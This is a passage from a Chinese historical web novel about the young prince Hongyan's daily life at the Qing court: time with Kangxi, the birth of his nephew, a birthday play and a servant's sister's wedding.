很快,弘晏大功告成,便将狼毫笔放置在笔山上,开始自我欣赏起来。 弘晏一边欣赏自己的作品,一边点头肯定。 自我感觉良好。 待宣纸上面的墨迹干后,弘晏拿起宣纸站起身,绕开矮脚书案哒哒的走到御案旁边给康熙看。 康熙将手中的折子放下,接过了弘晏递过来的宣纸。 康熙本以为弘晏是在写字,却不想弘晏是在作画。 画上有一大一小两个人,从五官上康熙判断不出来这两个人是谁,不过弘晏很贴心的给画上的大人物画上了三根胡须,而且这一大一小两个人在放风筝,大人放的龙形风筝,小人放的则是兔子风筝,将这些因素结合起来看,康熙很快便猜出来弘晏画的就是他们祖孙二人。 康熙看向弘晏,笑呵呵的夸道:“画的不错嘛。” 弘晏眨着星星眼望向康熙:“皇玛法给这幅画取个名字吧。” 康熙思考片刻,便提起狼毫笔在宣纸的右侧行云流水的落下几个大字——祖孙共放纸鸢图。 康熙写完,将狼毫笔放回去,又看向梁九功,吩咐道:“将朕的印章取来。” 待梁九功将印章取来,康熙拿起印章盖在了画的右上方。 弘晏瞧瞧康熙的字,又看了看那落下的印章,顿时觉得自己这张画上了档次。 “梁九功,把画交给画师裱起来。”康熙说着,就把宣纸递给梁九功。 弘晏一惊:“皇玛法,孙儿的画太简单了些,拿不出手的。” 就他画的小人儿叫专业的画师瞧了,怕是会笑掉大牙的吧。 康熙笑着抬手揉了揉弘晏的小脑袋瓜:“怎么会?朕瞧着好的很,等画裱好了,朕还要带回宫里呢。” 康熙这是要收藏他的画? 弘晏更震惊了。 这幅画上最有价值的也就是康熙的字和印章了。 一个时辰之后,弘晏拉着康熙去园子里散步,走了两刻钟回到清溪书屋以后,祖孙二人开始用晚膳。 弘晏透过窗,瞧着外面天黑了,便要和康熙告辞回去了。 临走之前,弘晏特意嘱咐康熙要早些睡觉,还和康熙拉了勾,才放心的离开了清溪书屋。 到了第二天,弘晏同一时间去清溪书屋找康熙。 康熙依旧在处理政事,弘晏便缠着康熙去园子里晒太阳。 到了下午,弘晏又陪着康熙下了两局棋。 第三日,弘晏再次去清溪书屋时,康熙命魏珠端上来一盘荔枝。 这荔枝是福建巡抚进贡的贡品,通过两个月的水路运输后,又快马加鞭送到畅春园来的。 康熙笑眯眯的说道:“福宝,尝尝看。” “多谢皇玛法。”弘晏说着,从碟子里拿起来一颗荔枝,将红色的外壳剥下后,露出白花花的果肉来。 这荔枝圆溜溜的一颗又晶莹剔透的,倒是有点儿像夜明珠呢。 弘晏吃着荔枝含糊不清的说道:“好甜啊,皇玛法。” 康熙看向弘晏的眼神很是慈爱:“喜欢,就多吃些。” 这时,魏珠进门禀报:“皇上,德妃娘娘求见。” 弘晏咀嚼荔枝的小嘴巴一顿。 “传。” 康熙话音落下后,德妃便进门了。 “臣妾给皇上请安。”德妃笑吟吟的福身。 康熙抬手:“起来吧。” 待德妃站直身子后,弘晏恭恭敬敬的对着德妃行礼:“孙儿见过玛嬷。” 德妃笑盈盈的开口:“不必多礼了。” 弘晏站直身子后,一双眼睛看向了德妃。 德妃的笑意不达眼底。 很明显是当着康熙的面儿,才做出来的表面功夫。 上次他在园子里捉蝴蝶碰到德妃时,德妃可没有冲着他笑。 德妃的眼睛扫过了那碟子荔枝和被拨开的荔枝壳,看向康熙,笑着开口:“皇上,天气炎热,臣妾特意熬了解暑的绿豆百合汤,这寒凉的果子虽好,但还是少吃为宜。” 康熙一个眼神,魏珠走过去从跟在德妃身后的岚竹手里接过了食盒,而后将那碗绿豆百合汤取出来放在了康熙面前。 康熙看向德妃:“爱妃有心了,这荔枝朕是给福宝吃的。” 德妃虽然心里已然猜到了,但亲耳从康熙嘴里得到证实,心里还是有些酸涩。 旋即,德妃看向了弘晏:“弘晏,皇玛法疼你,但你也要有分寸,这荔枝寒凉,还是少吃些,若是贪嘴吃多了腹泻,可就不好了。” 弘晏乖乖点头:“是,玛嬷的话,孙儿谨记。” 德妃的话,康熙听着不大舒服,随即摆了摆手。 德妃便识趣的退出去了。 待德妃走后,康熙看向弘晏时,便瞧见弘晏的嘴撅得老高。 康熙开口问:“福宝,怎么不高兴了?” 德妃方才那一番话的真正含义,弘晏自然听得出来,无非是康熙待他过于亲近,德妃瞧在眼里,心里又不舒服了,他好自然连带着整个雍亲王府都好:“玛嬷吃不到荔枝说荔枝酸。” 康熙哈哈大笑,随即亲手剥了一个荔枝喂给弘晏:“旁人酸旁人的,你甜你的。” 一刻钟后,有大臣来求见康熙,弘晏便要先回去了。 临走前,康熙特意让魏珠装了一篮子荔枝给弘晏带回去。 回到住处,弘晏从篮子里拿出来两颗荔枝,分别给了石泉和田玉才往屋子里去。 “额娘,你看我带了什么好东西回来。”弘晏兴冲冲的说完,就把篮子捧到了乌拉那拉氏面前。 乌拉那拉氏很是意外:“是荔枝啊!” 听闻这荔枝是昨个儿下午才送到畅春园的,不想今日康熙就赐给了弘晏这么多。 “嘿嘿,额娘,我能干吗?”弘晏眨着眼睛问。 乌拉那拉氏笑着抬手刮了一下弘晏的鼻尖:“能干,额娘的福宝最能干了。” 第130章 第130章当叔叔了 转眼日子入了秋,康熙起驾回宫,弘晏也随着胤禛与乌拉那拉氏回雍亲王府去了。 弘晏在畅春园的这些日子,可是让弘昼想念坏了。 弘晏这一走,学堂里就剩下了他和弘历,朱师傅更是成日盯着他做功课了。 弘昼搂过弘晏的小肩膀:“六弟,你在畅春园有什么好玩的事吗?” 弘晏歪着小脑袋:“好玩的,我想想。” 回到屋子以后,弘昼和弘历津津有味的听着弘晏在畅春园发生的趣事。 —— 日子一天天过去,弘晏如今已然开始练习两箭齐发了。 射箭十回,有五回是两支羽箭都插在靶心上,余下五回便只有其中一支羽箭射中靶心。 纵使谙达说他刚刚开始练习两箭齐发,有现在的成绩已经很不错了,但弘晏并不满足于此,他希望向康熙那样,能够早日拿下三箭齐发,是以,他目前要做的,就是保证两箭齐发都能够做到百发百中。 练了一个时辰的射箭,弘晏便去马棚看追风。 追风长大了不少,但前两日突然生了病,弘晏便暂时换了另一匹小马驹来练习马术了。 病来如山倒,马也是如此,追风蔫蔫的都没有精神了。 弘晏给追风喂了草料,又抬头摸了摸追风的脸颊:“追风,要快快好起来啊。” 又陪了追风一会儿,弘晏嘱咐养马太监好好照顾追风,便依依不舍的回去上书法课了。 第二日清早,一觉睡醒的弘晏才知晓,原来他的三嫂董鄂婧雅昨个儿半夜胎动,天亮时分平安的生下了一个小阿哥。 弘晏高兴的紧。 他有大侄子了! 上完课,用了午膳后,弘晏便与弘历、弘昼一起跑去弘时居住的院子看他们的大侄子。 弘时瞧着弘晏、弘历与弘昼齐刷刷的跑过来,疑问 道:“你们来干吗?” 弘晏三人齐声道:“三哥,我们来看大侄子。” 弘时笑了:“好,进来吧。” 弘晏进了外间便停下了,弘昼迈着步子还想往里走却被弘历伸手给拦住了:“五弟,三嫂还在里面,我们就等着三哥把大侄子抱出来就好了。” 弘昼点点头。 他急着看大侄子,倒是忘了礼数了。 不一会儿的功夫,弘时抱着刚出生的小阿哥出来,乳母则是把摇篮椅搬了出来。 待乳母把摇篮椅放好,弘时便将小阿哥轻轻的放进摇篮椅里了。 弘晏三人立刻将摇篮椅围成了个圈。 弘晏瞧了瞧摇篮椅里小小一只的婴儿,又抬眼问向弘时:“三哥,我这大侄子叫什么名字啊?” 弘时答道:“阿玛起了名字,叫永珅。” 弘晏点点头,随即低眸看向摇篮椅里的小娃娃:“永珅,我是你六叔啊。” 弘昼紧随其后:“永珅,我是你五叔,叫五叔。” 弘历笑道:“还有我,我是你四叔。” 瞧着三个弟弟争着抢着让永珅喊“叔叔”,弘时哭笑不得:“永珅才刚出生,哪里会叫人。” 这厢,弘晏将手伸进摇篮椅里轻轻的去摸永珅的小手。 好软啊。 而永珅感受到了来自弘晏的触碰,下意识的去握住了弘晏的尾指。 弘晏一愣,随即高兴的扬起脸看向弘时:“三哥,你快瞧,永珅拉我手呢。” 弘时闻此言,低眸一看,也有些诧异:“还真是呢。” 永珅的手太小太软,弘晏就这样由着永珅拉着,不敢乱动。 这时,看了永珅许久的弘历问向弘昼:“五弟,你瞧永珅长得像三哥还是三嫂?” 他有点儿看不出来呢。 弘昼笑着开口:“这还用问,你看永珅长得皱皱巴巴的,跟三哥一样。” 弘时听了这话,抬手给了弘昼脑袋一下:“弘昼,我哪里长得皱皱巴巴了。” 弘昼边揉着脑袋,边冲着弘时哼了哼嘴巴。 这时,弘晏开口解释:“三哥,五哥的意思是永珅长得像你,所以不大好看。” “六弟,你太含蓄了,不是不大好看,是丑。”说着,弘昼冲着弘时做了个鬼脸。 内室里,躺在拔步床上的董鄂婧雅听了这话,都忍不住笑了出来。 弘时气呼呼道:“弘昼,你皮痒痒了。” 说着,弘时撸起袖子就要教训弘昼,而弘昼满屋子蹿起来。 摇篮椅里的永珅在此时松开了弘晏的尾指,哇哇大哭起来。 永珅这一哭,弘时也顾不上教训弘昼了,赶忙回到摇篮椅哄起永珅来。 弘昼也跑过来了:“永珅是不是听见我说他长得像他阿玛,所以才哭的。” 弘历一愣:“还真有可能。” 纵使是小娃娃,被人指着脸说丑也会生气的吧。 小娃娃又不会说话,用哭来表示也合乎情理。 弘晏摇摇头:“永珅是饿了吧。” 一般情况下,小娃娃哭闹不是饿了,就是尿了。 弘晏就趴在摇篮椅旁边,他没有闻到臭味,永珅应该就是饿了。 乳母点头:“世子说的是,小阿哥饿了,奴婢该抱小阿哥喂奶了。” 乳母说着,便抱起摇篮椅里的永珅下去喂奶了。 弘昼看向弘时,哼了哼嘴巴:“三哥还是永珅的阿玛呢,还不如六弟呢。” 弘时语塞:“这……初为人父,我哪里知道。” 说完这话,弘时又低眸看向了弘晏:“六弟,你怎么知道永珅是饿了?” 弘晏笑着挠了挠脑袋:“我猜的。” 到了该上课的时候了,弘晏三人与弘时告辞后,便回学堂上课去了。 而乳母给永珅喂过奶以后,便将永珅抱给了董鄂婧雅。 董鄂婧雅腰后垫着软枕,头靠着床栏,怀里抱着永珅,眼神里满是初为人母的温馨与幸福。 这时,弘时走进了内室,挥了挥手,乳母和桂月便都退了出去。 弘时径直走过去坐在床沿,看着妻儿:“福晋,你说永珅长得像谁?” 董鄂婧雅抬眸瞧了弘时一眼,又把目光落在了永珅上:“现在长得像你,长大了就像我了。” 弘时很是疑惑:“为何?” 董鄂婧雅悠悠开口:“我额娘说了,小孩子刚出生的时候都是皱皱巴巴的,等长大些便好了,女肖父,儿肖母,永珅长大后一定像我。” 其实,就算永珅长大后长得像弘时也无妨,只要脑子不要随弘时便好了。 “是,永珅长大一定跟福晋一样好看,是个俊俏的小阿哥。”弘时说完,抬手摸了摸永珅的小脸蛋儿。 忽而,弘时又感叹起来:“要是额娘能亲眼瞧瞧永珅就好了。” 董鄂婧雅闻此言,脸上的笑容已经淡了。 但弘时压根没有注意到董鄂婧雅的微表情变化,又自顾自的说了起来:“福晋,永珅出生阿玛很是高兴,你说我要是去求阿玛,让我抱着永珅进碧波苑,好让额娘瞧上一眼,阿玛可否会答应?” 董鄂婧雅没答,直接唤桂月进来。 少顷,桂月福身:“福晋。” 董鄂婧雅开口吩咐:“将小阿哥抱下去吧。” 桂月应了声“是”,便迈步上前来将永珅抱了下去。 “爷想做什么,无需过问我,我累了,想歇着了。”董鄂婧雅说完,直接将腰后垫着的枕头放下,随即就背对着弘时躺下了。 弘时看得出来董鄂婧雅生气了,嗫嚅着嘴唇,到底还是什么都没说,抬步走了出去。 最终,弘时还是去书房求了胤禛,结果就是又被胤禛骂了一通。 弘时无精打采的从书房出来,在碧波苑门外站了站,缓缓呼出一口气,便抬步回去了。 弘时被桂月拦在了门外:“三阿哥,福晋已然睡下了。” 弘时望了一眼禁闭着的门与窗,抬步去了自己的书房。 桂月见弘时走远了,转身进了屋子。 摇篮椅里的永珅已然睡熟了,董鄂婧雅靠在拔步床上看话本。 桂月有些不解:“福晋,左右王爷已然训斥了三阿哥,您何必将三阿哥拒之门外呢。” 李侧福晋已然被胤禛厌弃,再无翻身的可能了。 董鄂婧雅将书翻过一页,方抬眼看向桂月:“弘时心里只念着李氏,从李氏幽禁在碧波苑起,他总想着救李氏出来,又何曾替我想过,如今永珅已然出生了,弘时于我而言,也无大用了,我又何必处处迁就他。” —— 三日后,便是永珅的洗三礼。 这是胤禛的第一个孙儿,胤禛便吩咐下去要大办一场,一众皇子该来的都来了。 可这些人里却没有十四阿哥胤禵。 弘晏有些奇怪,他记得昨日便宜阿玛命人给胤禵府上送过帖子的。 后来,弘晏才知晓,胤禵府上出了大事。 胤禵的格格罗汀兰自从上次小产之后,便调理身子想要尽快再怀上一个孩子,可这几年过去,肚子丝毫不见动静。 罗汀兰便觉得当初是伊尔根觉罗氏与她争执,害她早产伤了根本,再难有孕了。 再加上,当初胤禵为了安抚罗汀兰,将伊尔根觉罗氏送到了庄子上,又将伊尔根觉罗氏所生的弘映交给了罗汀兰抚养。 弘眏一日日长大,可只要伊尔根觉罗氏在一日,罗汀兰便觉得弘映总归不会全心全意孝敬她这个养母,是以,罗汀兰便买通了庄子上的奴才,害/死了伊尔根觉罗氏。 巧的是,庄子上的人来给罗汀兰禀报的时候,恰好被路过的弘映偷听到了。 于是,弘映便决定为母报仇。 三日后,弘眏说自己的屋子里有老鼠,一到晚上便出来吓人。 胤禵封锁了伊尔根觉罗氏身亡的的消息,弘映又给罗汀兰当了那么久的乖儿子,罗汀兰便没有起疑心,吩咐底下的奴才将装了老鼠药的香包放在屋子里的各个角落。 到了晚上,弘眏便将这些香包收集起来,下在了第二日的早膳上,毒死了罗汀兰和他自己。 几日之内,胤禵府上一下没了三条人命,总使胤禵想瞒,也是瞒不住的。 事情传到康熙的耳朵里以后,康熙大怒,传胤禵进宫,将人好一顿责骂,连匆忙赶来求情的德妃都一起挨了训斥。 最终,康熙打了胤禵二十大板,禁足半年,罚俸一年。 得知事情原委的弘晏很是唏嘘。 他还记得当初在十三叔府上,他和弘明等人一起踢竹球时,弘映就远远看着他们,眼神中很是渴望,但又怯懦自卑的模样。 弘晏想,弘眏连同自己一起毒死,或许是因为他觉得在世上与他最亲近的人——伊尔根觉罗氏没了,又或许是弘映知道,自己毒死了阿玛的爱妾,阿玛不会放过自己的。 无论当时的弘眏是因为什么,才做了这同归于尽的决定,弘晏觉得,弘映算是解脱了,在地下也能与伊尔根觉罗氏母子团聚了。 次日一早,弘晏央求胤禛带着他去了 潭柘寺,他与弘映总归是堂兄弟一场,弘晏想要为弘映上一炷香,保佑他下一世可以活得自在一些。【你现在阅读的是 】 130-138 第131章 第131章齐天大圣 日子进了冬月,天愈发冷了。 这日一早,宫里的人去了雍亲王府,说奉康熙的旨意接弘晏入宫去。 弘晏只以为康熙是想念自己了,便带着石泉坐上马车进宫去了。 可弘晏到了乾清宫以后,康熙直接带着他去了石庶妃的宫里。 弘晏这才知道,今日是二十三阿哥胤祁的生辰。 “石玛嬷安。”弘晏冲着坐在软榻上的石庶妃请安。 石庶妃年轻貌美,若不是因着辈分的关系,对着这样一张脸,弘晏还真叫不出来一句“玛嬷”。 /:.,, 石庶妃不知弘晏心中所想,笑吟吟道:“世子快起来吧。” 弘晏刚站直身体,在屋子里换好新衣服的胤祁就跑了出来:“福宝,嘿嘿,汗阿玛没骗我,果然把你接进宫来了。” 弘晏这才明白,原来昨日胤祁便想求康熙把自己接进宫来陪他过生辰。 康熙便叫胤祁将刚学的文章背会,若是背会了,就接自己进宫来。 胤祁欣然答应。 一块点心不吃,一口水也没喝,背了一个时辰终于将文章背会了。 弘晏看向同坐在软榻上的康熙,撅了撅嘴巴:“皇玛法,你也不早些告诉我,进宫是来给二十三叔过生辰,我都没有准备生辰礼呢。” 康熙端起茶盏,嘴角挂着笑:“早告诉你了,哪里还有惊喜呢。” 一旁的胤祁很是欢喜:“福宝,你人来了,我就很高兴,不用送生辰礼的。” 胤祁话音刚落下,二十四阿哥胤祕也来了:“二十三哥,我来给你过生辰了。” 胤祁拉着弘晏去迎胤祕:“二十四弟,这是福宝,你还认识吗?” 弘晏低眸看向眼前的胤祕,笑着喊道:“二十四叔好。” 胤祕打量了一下弘晏,便笑了:“我记得的,我们一起放过烟花呢。” 随即,胤祕又跟着胤祁和弘晏走过去,向康熙和石庶妃行了礼。 人到齐了,康熙便带着人出了屋子,院子里的宴席已然备妥,戏台子也搭了起来。 弘晏一边吃着美味的食物,一边听着戏台上的人咿咿呀呀的唱着戏。 这出戏是小寿星胤祁点名要看的《三打白骨精》。 还别说,确实挺好看的。 弘晏看入迷时,都忘了吃东西了。 戏看完了,弘晏也吃饱了,可胤祁却是意犹未尽,便提议道:“福宝,二十四弟,我们也来玩三打白骨精,如何?” 弘晏和胤祕积极响应。 小寿星胤祁自然要先挑角色了,胤祁选了孙悟空。 弘晏则选择当沙悟净。 胤祕撅撅嘴,有些不高兴:“我不想当猪八戒。” 胤祁见状,便笑了:“那你当白骨精。” 胤祕头摇的和拨浪鼓一样:“我不要当妖怪,白骨精还是女妖怪呢。” 胤祁问道:“那你想当什么呢?” 胤祕歪着小脑袋还在思考。 这时,弘晏拉了拉胤祁的袖子:“二十三叔,就咱们三个人,人数也不够啊。” 弘晏与胤祁相视一眼,便朝着康熙与石庶妃的方向跑了过去。 弘晏拉着康熙的袖子撒娇:“皇玛法,我们要玩《三打白骨精》,人数不够,皇玛法你来当唐僧好不好?” 康熙闻言,无奈点头:“好吧。” 唐僧肉眼凡胎,不识真假,康熙本是不喜欢的,可奈何弘晏的撒娇的确让他无法拒绝。 见康熙答应了,弘晏眨着星星眼笑:“嘿嘿,皇玛法最好了。” 这时,胤祁也拉着石庶妃的袖子撒起娇来:“额娘,你来当白骨精好不好。” 石庶妃一愣,随即用手指戳了戳胤祁的小脑袋瓜,又气又觉得好笑:“你这孩子,竟让你亲额娘当白骨精。” 胤祁不死心的拉着石庶妃的手臂晃悠起来:“额娘,咱们是扮着玩呢嘛。” 一旁的康熙见了,笑道:“爱妃,既然胤祁想玩,就陪他玩玩吧。” 快快乐乐的过个生辰没什么不好,再说了,他这个九五之尊的皇帝都要扮上唐僧了。 康熙都开了口,石庶妃也不好再拒绝,遂点头道:“是。” 胤祁顿时就乐了:“多谢阿玛,也多谢额娘。” 待康熙与石庶妃起身后,胤祕哒哒的跑过来搂住了康熙的大腿,眨着眼睛望着康熙:“汗阿玛,我也想当孙悟空。” 他也要当大英雄。 胤祁撅着嘴:“二十四弟,我过生辰,当然是我当孙大圣了。” 如果今天是二十四弟过生辰,他一定不和二十四弟争抢孙悟空。 而弘晏眼珠子一转,来了主意:“二十四叔,这样,第一场二十三叔当孙悟空,第二场换你来当孙悟空不就行了。” 胤祕听了弘晏的话,松开了康熙的大腿,奶呼呼的点头道:“好。” 而胤祁接过了话茬:“福宝,那第三场换你来当孙悟空,这样我们就都是孙悟空了。” 胤祕笑着眨眼,附和胤祁的话:“对,福宝也当孙悟空。” 康熙见三个孩子商量好了,便出声道:“好,那咱们就开始吧。” 少顷,弘晏等人就上了戏台,康熙坐在绣墩上,手里捻着一串佛珠。 石庶妃站在康熙面前,身旁还站着小妖怪胤祕。 而弘晏与胤祁则站在对面的位置。 康熙边捻着佛珠边求救:“徒儿,快救为师。” 待康熙话音落下,举着武器的胤祁和弘晏看向石庶妃,同时喝道:“妖怪,快放了我师傅。” 石庶妃甩着帕子邪魅一笑:“那得看看你们有没有这本事了。” 作为小妖怪的胤祕则奶凶奶凶的张着大嘴:“孙猴子,沙和尚,今天就是你们的死期。” 胤祁将自己手上的武器高高举起:“沙师弟,一起上,救师傅。” 弘晏立马附和:“好。” 紧接着,胤祁和弘晏挥舞着武器朝着石庶妃与胤祕发起了攻击,而石庶妃和胤祕很快被胤祁和弘晏制服,成功的救出了康熙。 第一场《三打白骨精》就此落幕。 第二场则又拉开了序幕。 这一次,胤祕是孙悟空,胤祁是沙悟净,弘晏是小妖怪,康熙还是唐僧,石庶妃还是白骨精。 当上孙悟空的胤祕很是开心,指着石庶妃和弘晏放狠话:“妖怪,快放了窝狮虎~” 此时,作为小妖怪的弘晏抿着嘴巴,生怕自己笑出声来。 无他,这孙悟空也太可爱了点儿。 第二场很快落幕,第三场正式开始。 这一次,弘晏成了孙悟空,胤祕是沙悟净,胤祁是小妖怪,康熙和石庶妃的角色不变。 正气凛然的弘晏眨了眨自己的火眼金睛,挥舞起手中的武器:“妖怪,吃俺老孙一棒!” 打败了石庶妃和胤祁以后,弘晏跑到康熙面前,半蹲下身子,望着康熙的眼神中带着虔诚和懊恼:“师傅,徒儿来迟了。” 康熙慈爱的抬起 手,摸了摸弘晏的小脑袋:“好徒儿,是为师错怪你了。” 第三场《三打白骨精》落下帷幕,弘晏等人都尽了兴,便又一起踢起球来了。 这厢,石庶妃扶着康熙下了戏台。 康熙看向石庶妃,有些惊喜:“看不出来,爱妃还有这般本事。” 方才石庶妃演的白骨精还真有几分韵味呢。 石庶妃笑了:“皇上可别打趣臣妾了,臣妾只有挨打的份儿罢了。” 弘晏他们的角色还相互换一换,就她和康熙的角色从头到尾没有变过,康熙好歹还是好角色,就自己这个白骨精被三个不同的孙悟空揍了三回,可真真是命苦呢。 康熙听了这话,笑着拉起石庶妃的手进了屋子。 弘晏和胤祁、胤祕踢球踢累了,三个人又围着炉子又烤起了红薯。 康熙闻到飘来的烤红薯香味以后,便和石庶妃一起加入了烤红薯的队伍。 现烤现吃的红薯才是最好吃的,只不过有些烫,弘晏用手帕包着红薯,一边吹一边小口小口的吃着。 胤祕见弘晏和胤祁用手捧着烤红薯吃得十分香甜,便也不想用勺子挖着碗里的红薯吃了,而是学着胤祁和弘晏的模样,用手帕包起来,一边吹着热气一边吃。 待太阳落了山,弘晏依依不舍的和胤祁与胤祕告别,便坐着马车回雍亲王府去了。 虽然胤祁很明确说了不需要他送生辰礼物,但弘晏觉得还是有必要给胤祁补上一个生辰礼物。 但是送什么东西好吗? 弘晏用手托着脑袋想了半天,终于有了主意。 于是,弘晏出了寝房去书房找他的便宜阿玛胤禛。 既然胤祁那么喜欢孙悟空,那他就送给胤祁一个孙悟空的木雕好了。 他的想法很好,但要做成这样的木雕还需要胤禛帮忙才行。 胤禛听了弘晏的想法,便吩咐苏培盛去找木雕匠人,尽快雕一个孙悟空出来。 苏培盛颔首领命。 弘晏转而去搂胤禛的小臂,忽闪着星星眼:“嘿嘿,多谢阿玛。” 胤禛见状,翘了翘嘴角。 两日后,弘晏见到了成品。 那木雕栩栩如生,甚至还穿戴上了孙悟空的衣裳。 弘晏很是满意,便嘱咐苏培盛将木雕包装好,送进皇宫给胤祁。 苏培盛弓着身子笑:“世子放心就是。” —— 皇宫内,胤祁在上书房下了课,便回了额娘石庶妃的宫里。 石庶妃笑着开口:“胤祁,雍亲王世子给你送了生辰礼物,快打开瞧瞧。” 胤祁走过去说道:“我说了不用送生辰礼物的,福宝怎么还是送了?” 更何况他的生辰已然过去好几天了。 石庶妃闻此言,只道:“雍亲王世子懂礼数,这补送的生辰礼更是他的一份儿心意,你就打开瞧瞧吧。” 胤祁听了自家额娘的话,便将八仙桌上的檀木盒子拆开了。 当胤祁瞧清楚盒子里装着的东西时,眼睛都亮了,赶忙将木雕举起来,连说话的声音都很激动:“额娘,你快看,福宝送我的孙大圣。” 胤祁高兴的不行,拿着孙大圣就去找胤祕玩了。 第132章 第132章成人之美 冬天的风凛冽,弘晏用完了晚膳就待在温暖的寝房里玩。 这时,石泉犹豫的开了口:“世子,奴才有一件事想求世子。” 弘晏抬眼问向石泉:“何事?” 他很少见到石泉这般模样。 石泉弓着身子恭恭敬敬的禀道:“世子,奴才的妹妹今年已经及笄了,到了嫁人的时候了。” 弘晏歪着脑袋想了想,石蕊的确十五了:“你这是想托我找媒婆?” 毕竟由他这个雍亲王世子出面的话,石蕊能许一个家底殷实的人家。 石泉见弘晏误解了自己的意思,赶忙跪下解释:“奴才怎敢劳烦世子,是妹妹她已然有了中意的人了,那人今年十七,名叫陈山,是个忠厚的,家里在大兴县的镇上开了间杂货铺。” 弘晏这回可听明白了,笑道:“明日我去跟额娘说一声就是了。” 当初他将周氏和石蕊救回雍亲王府,并未叫周氏与石蕊签下身契,便是想着若是有一日,周氏与石蕊想到外头做些小本营生过日子,也省去些麻烦。 不过,后宅的事都是他额娘乌拉那拉氏在管,底下的人要出嫁,还是要主家点头放行的,所以等明天用午膳的时候,他去给乌拉那拉氏说一声就是了。 石泉深深的磕了个头:“奴才多谢世子。” 弘晏笑着抬手:“好了,快起来吧。” 等石泉站起身后,弘晏又问道:“你若还有旁的事,一并说了就是。” 他能解决的便一起解决了。 石泉连连摇头:“奴才再没有了。” 弘晏点点头。 这时,田玉抬步走了进来:“世子,热水已备好,该沐浴了。” “好。”弘晏说完,就下了小榻往净室的方向走。 第二日,弘晏和弘历、弘昼一同吃完午膳后便去了正院找乌拉那拉氏,说了石蕊想要嫁人的事儿。 乌拉那拉氏听罢,欣然应允。 跟着弘晏的石泉连忙跪下谢恩:“奴才替妹妹谢过福晋。” 乌拉那拉氏端起了矮桌上的茶盏,嘴角噙着笑:“要谢,就谢福宝吧。” 这人从一开始就是弘晏救下的,弘晏想怎么安排自然都随他。 石泉闻言,身子立马转了个方向:“奴才谢过世子。” 弘晏抬手:“好了,快起来吧。” 等弘晏回到前院以后,周氏与石蕊又来一起谢恩了。 弘晏看向了田玉。 田玉心领神会,从怀里掏出来一个钱袋,递向还跪在地上的石蕊。 这时,弘晏缓缓开了口:“这钱袋里有二十两银子,就算是我给你添的嫁妆吧。” 石蕊没接,连连摇头:“世子,这银子奴婢不能收。” 一旁的周氏紧接着开了口:“是啊,世子,您对我们一家的大恩,我们今生今世都报答不完,又怎能要您的银子呢。” 石泉也跟着开口:“世子,您这可是折煞奴才一家了。” 弘晏笑了笑,歪着脑袋问:“不要我给的钱袋,可是嫌二十两太少?” 石泉语无伦次:“不不不,当然不是。” 弘晏走过去,伸手拿过了田玉手里的钱袋塞给了石蕊:“既然不是,那就好好收着。” 石蕊握住钱袋,眼眶泛起了泪花,哽咽道:“奴婢多谢世子。” 说完,石蕊、石泉和周氏母子三人又对着弘晏一起磕头。 弘晏忙叫田玉把他们搀扶起来。 —— 冬去春来,桃红柳绿。 这日晚上,石泉在给弘晏洗脚,弘晏瞧着石泉,想起了什么,便开口嘱咐:“今夜让田玉替你守夜,你早些回去睡,明日也好赶路。” 明日便是石蕊成亲的日子了。 周氏与石蕊已然回了大兴县治下的村子里的家,明日接亲的队伍便会在那里接石蕊坐上花轿,再抬到镇上的陈家拜堂成亲。 石泉听了这话,给弘晏洗脚的动作一顿:“世子,不用,奴才明日不去。” 弘晏很是疑惑:“为何不去?” 他知道石泉一向是疼爱石蕊这个亲妹妹的,如今石蕊嫁人,石泉作为亲哥哥怎么能不露面。 石泉的头埋得低低的,只道:“世子,有我娘在便成了。” 弘晏不理解:“你娘是你娘,你是你,你娘怎么能代表你呢?” 石泉拿了帕子给弘晏擦脚:“世子,我……我这般模样还是不去为好。” 陈家在镇上算是有头有脸的人家,家里有间杂货铺,也有些田地,妹妹能嫁到这样的人家过日子,已经是有福气的了。 而他一个太监去了妹妹的婚宴,岂不是招人说嘴,让人戳妹妹的脊梁骨嘛。 去不去婚宴,对他来说,没那么重要,只要妹妹过得好就成了。 弘晏听了这话,便知石泉的心结在哪里了。 弘晏没再说话,但次日清晨却去正院找了乌拉那拉氏。 “额娘,今日是石蕊成婚的日子,儿子想去观礼。” 弘晏这话一出口,不仅是上首的乌拉那拉氏,就是跟在他后面的石泉也惊住了。 乌拉那拉氏柔柔开口劝:“福宝,你三哥成婚时的场面你不都瞧见了吗,民间嫁娶比不得王府,你若惦记,派人送去贺礼不就行了。” 弘晏就知道乌拉那拉氏不会爽快同意的,便走上前开始了撒娇攻势:“额娘,礼到人也得到啊。” 乌拉那拉氏明白弘晏的用意,无非是想替石蕊撑场子罢了,但她也有她的顾虑:“福宝,你的安全才是最重要的,额娘可不放心你出门啊。” 发生了那么多事,她可不敢叫弘晏冒险。 “额娘,我便装出行,你再叫何进带几个侍卫保护我不就行了,额娘,我求你了。” 乌拉那拉氏终是抵不过弘晏的软磨硬泡,叹了口气:“真是拿你没办法。” 弘晏搂着乌拉那拉氏,咧着嘴笑:“嘿嘿,多谢额娘。” 出了正院,石泉“扑通”跪在地上,眼尾已然红了:“奴才多谢世子。” 弘晏只道:“好了,快去换衣裳。” 他这么做,一是为了给石蕊撑场子,二是心里明白石泉是渴望去参加石蕊的婚宴的,只不过是想着自身的残缺,不想给石蕊增添烦恼和麻烦罢了。他若去了,石泉自然也能挺直腰板见证石蕊的幸福。 一刻钟后,换好便装的弘晏带着田玉和石泉坐上马车出发去大兴县,除了以何进为首跟随马车的四个侍卫之外,乌拉那拉氏还指派了十个侍卫在暗中保护弘晏的安全。 马车到了大兴县镇上的陈家,弘晏下了马车便要往陈家里进。 此时,宾客们正在正堂围观石蕊和陈山的拜堂仪式。 弘晏看向了身旁的石泉:“还好赶上了。” 周氏发现了弘晏的身影,小跑过来便在弘晏面前跪下:“奴婢拜见世子。” 喜娘的声音陡然停了。 陈山的爹娘也看向周氏,问道:“这位莫非是雍亲王世子?” 一旁的田玉开了口:“不错,正是我们世子爷。” 众人闻言,全都跪在地上:“草民拜见雍亲王世子。” 弘晏笑嘿嘿的抬手:“不必多礼,都起来吧,我今日是来吃喜宴的。” 陈山的爹赶忙拱手:“世子大驾光临,草民的寒舍可是蓬荜生辉啊,世子您请上座。” 陈山的爹娘将上首的位置让出来。 弘晏摆手:“不用,你们是生身父母,自然该上座。” 弘晏说罢,便走过去坐在了一旁。 陈山的爹娘见状,你瞧我,我瞧你就是不敢上座,弘晏便看向了喜娘:“继续吧。” 喜娘这才回过神来,忙清了清嗓子高喊道:“二拜高堂。” 陈山的爹娘这才上座。 围观的宾客边瞧着热闹,边窃窃私语起来。 